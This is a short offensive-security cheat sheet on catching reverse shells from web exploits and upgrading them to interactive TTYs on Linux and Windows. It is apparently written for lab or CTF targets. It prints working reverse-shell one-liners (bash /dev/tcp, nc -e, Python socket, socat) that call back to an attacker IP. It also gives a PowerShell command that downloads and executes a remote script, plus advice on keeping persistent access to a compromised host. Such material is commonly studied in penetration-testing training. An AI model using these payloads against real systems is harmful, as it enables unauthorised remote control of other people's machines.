A raw reverse shell from a web exploit is a dumb shell. No tab completion, no arrow keys, no job control. It dies if you press Ctrl-C, and it cannot run an interactive program like su, ssh, or a text editor. Upgrade it to a full TTY before you do real work in it, because every minute spent in a dumb shell is a minute of typing full paths and losing the session to a stray keystroke.

Catching the shell

# plain listener
nc -lvnp 443

# better: rlwrap gives you readline, which survives more
rlwrap nc -lvnp 443

Payloads, in rough order of what tends to be present on a target:

bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'
busybox nc 10.10.14.5 443 -e /bin/sh
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

From a web command injection these need URL encoding for the context. revshells.com generates and encodes them.

The three-step upgrade on Linux

This is the sequence worth committing to memory.

# 1. spawn a PTY on the target
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 2. background it
Ctrl-Z

# 3. fix your local terminal, then foreground
stty raw -echo; fg

Press Enter twice after fg, then set the environment the shell now deserves:

export TERM=xterm
export SHELL=bash
stty rows 50 columns 200

Use your real terminal’s size in that last line. Run stty -a in a local terminal to read it.

If python3 is absent, the same PTY spawn has fallbacks:

script /dev/null -c bash
perl -e 'exec "/bin/bash";'

After this you have arrow keys, tab completion, a Ctrl-C that interrupts the program instead of killing your session, and working interactive tools.

socat, when you can get it there

If socat is on the target, or you can upload it, it gives a fully interactive TTY in one step and skips the whole dance:

# listener
socat file:`tty`,raw,echo=0 tcp-listen:443

# target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443

Windows

Windows shells are harder to make interactive. In order of preference:

  • Use evil-winrm once you have credentials. It is a proper shell, not an upgrade of a broken one.
  • Use a ConPTY upgrade for a real interactive shell:
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing)
Invoke-ConPtyShell 10.10.14.5 443
  • Use a meterpreter session when you want stability more than you want a shell.

Quick reference

SituationDo this
Listenerrlwrap nc -lvnp 443
Spawn PTYpython3 -c 'import pty; pty.spawn("/bin/bash")'
No pythonscript /dev/null -c bash
StabiliseCtrl-Z, then stty raw -echo; fg, Enter twice
Environmentexport TERM=xterm; stty rows 50 columns 200
socat on targetsocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:HOST:443
Windows with credsevil-winrm -i HOST -u USER -p PASS

What this does not solve

A stabilised shell is still the same user with the same privileges. The upgrade buys you a usable working environment, nothing more. It also does not survive the process dying, so it is worth establishing a second, independent way back in before you start changing anything on the host.